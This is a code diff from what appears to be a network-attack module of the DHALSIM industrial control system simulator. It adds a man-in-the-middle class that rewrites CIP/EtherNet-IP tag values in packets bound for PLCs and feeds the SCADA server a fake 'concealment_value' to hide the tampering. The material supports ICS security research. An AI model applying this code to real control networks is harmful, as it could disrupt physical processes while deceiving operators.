1010
1111from dhalsim .network_attacks .utilities import translate_payload_to_float , translate_float_to_payload
1212
13- class ConcealmentNetfilterQueue (PacketQueue ):
13+
14+ class ConcealmentMiTMNetfilterQueue (PacketQueue ):
1415
1516 def __init__ (self , intermediate_yaml_path : Path , yaml_index : int , queue_number : int ):
1617 super ().__init__ (intermediate_yaml_path , yaml_index , queue_number )
18+ self .attacked_tag = self .intermediate_attack ['tag' ]
19+ self .scada_session_ids = []
20+ self .attack_session_ids = []
1721
18- def capture (self , pkt ):
22+ def capture (self , packet ):
1923 """
2024 This function is the function that will run in the thread started in the setup function.
2125
2226 For every packet that enters the netfilterqueue, it will check its length. If the length is
2327 in between 102, we are dealing with a CIP packet. We then change the payload of that
2428 packet and delete the original checksum.
25- :param pkt : The captured packet.
29+ :param packet : The captured packet.
2630 """
27- self .logger .debug ('capture method' )
2831 try :
29- p = IP (pkt .get_payload ())
30- #self.logger.debug('packet')
31- if len (p ) == 102 :
32- self .logger .debug ('modifying' )
33- if 'value' in self .intermediate_attack .keys ():
34- p [Raw ].load = translate_float_to_payload (
35- self .intermediate_attack ['value' ], p [Raw ].load )
36- elif 'offset' in self .intermediate_attack .keys ():
37- p [Raw ].load = translate_float_to_payload (
38- translate_payload_to_float (p [Raw ].load ) + self .intermediate_attack [
39- 'offset' ], p [Raw ].load )
40-
41- del p [TCP ].chksum
42-
43- pkt .set_payload (bytes (p ))
44- self .logger .debug (f"Value of network packet for { p [IP ].dst } overwritten." )
45-
46- pkt .accept ()
32+ p = IP (packet .get_payload ())
33+ if 'TCP' in p :
34+ if len (p ) == 116 :
35+ this_session = int .from_bytes (p [Raw ].load [4 :8 ], sys .byteorder )
36+ tag_name = p [Raw ].load .decode (encoding = 'latin-1' )[54 :56 ]
37+ self .logger .debug ('ENIP TCP Session ID: ' + str (this_session ))
38+ self .logger .debug ('Received tag is: ' + tag_name )
39+ self .logger .debug ('Attack tag is: ' + self .attacked_tag )
40+ if self .attacked_tag == tag_name :
41+ # This is a packet being sent to SCADA server, conceal the manipulation
42+ self .logger .debug ('Packet source: ' + p [IP ].src )
43+ self .logger .debug ('SCADA IP: ' + self .intermediate_yaml ['scada' ]['public_ip' ])
44+ if p [IP ].src == self .intermediate_yaml ['scada' ]['public_ip' ]:
45+ self .logger .debug ('SCADA session: ' + str (this_session ))
46+ self .scada_session_ids .append (this_session )
47+ else :
48+ self .logger .debug ('PLC session: ' + str (this_session ))
49+ self .attack_session_ids .append (this_session )
50+
51+ if len (p ) == 102 :
52+ this_session = int .from_bytes (p [Raw ].load [4 :8 ], sys .byteorder )
53+ if this_session in self .attack_session_ids :
54+ self .logger .debug ('Modifying because session is: ' + str (this_session ))
55+ value = translate_payload_to_float (p [Raw ].load )
56+ self .logger .debug ('tag value is:' + str (value ))
57+
58+ if 'value' in self .intermediate_attack .keys ():
59+ p [Raw ].load = translate_float_to_payload (
60+ self .intermediate_attack ['value' ], p [Raw ].load )
61+ elif 'offset' in self .intermediate_attack .keys ():
62+ p [Raw ].load = translate_float_to_payload (
63+ translate_payload_to_float (p [Raw ].load ) + self .intermediate_attack [
64+ 'offset' ], p [Raw ].load )
65+
66+ del p [IP ].chksum
67+ del p [TCP ].chksum
68+
69+ packet .set_payload (bytes (p ))
70+ self .logger .debug (f"Value of network packet for { p [IP ].dst } overwritten." )
71+
72+
73+ elif this_session in self .scada_session_ids :
74+ self .logger .debug ('Concealing to SCADA: ' + str (this_session ))
75+ p [Raw ].load = translate_float_to_payload (
76+ self .intermediate_attack ['concealment_value' ], p [Raw ].load )
77+
78+ del p [IP ].chksum
79+ del p [TCP ].chksum
80+
81+ packet .set_payload (bytes (p ))
82+ self .logger .debug (f"Value of network packet for { p [IP ].dst } overwritten." )
83+
84+ packet .accept ()
4785 except Exception as exc :
86+ print (exc )
4887 if self .nfqueue :
4988 self .nfqueue .unbind ()
5089 sys .exit (0 )
@@ -70,7 +109,7 @@ def is_valid_file(parser_instance, arg):
70109
71110 args = parser .parse_args ()
72111
73- attack = NaiveNetfilterQueue (
112+ attack = ConcealmentMiTMNetfilterQueue (
74113 intermediate_yaml_path = Path (args .intermediate_yaml ),
75114 yaml_index = args .index ,
76115 queue_number = args .number )
0 commit comments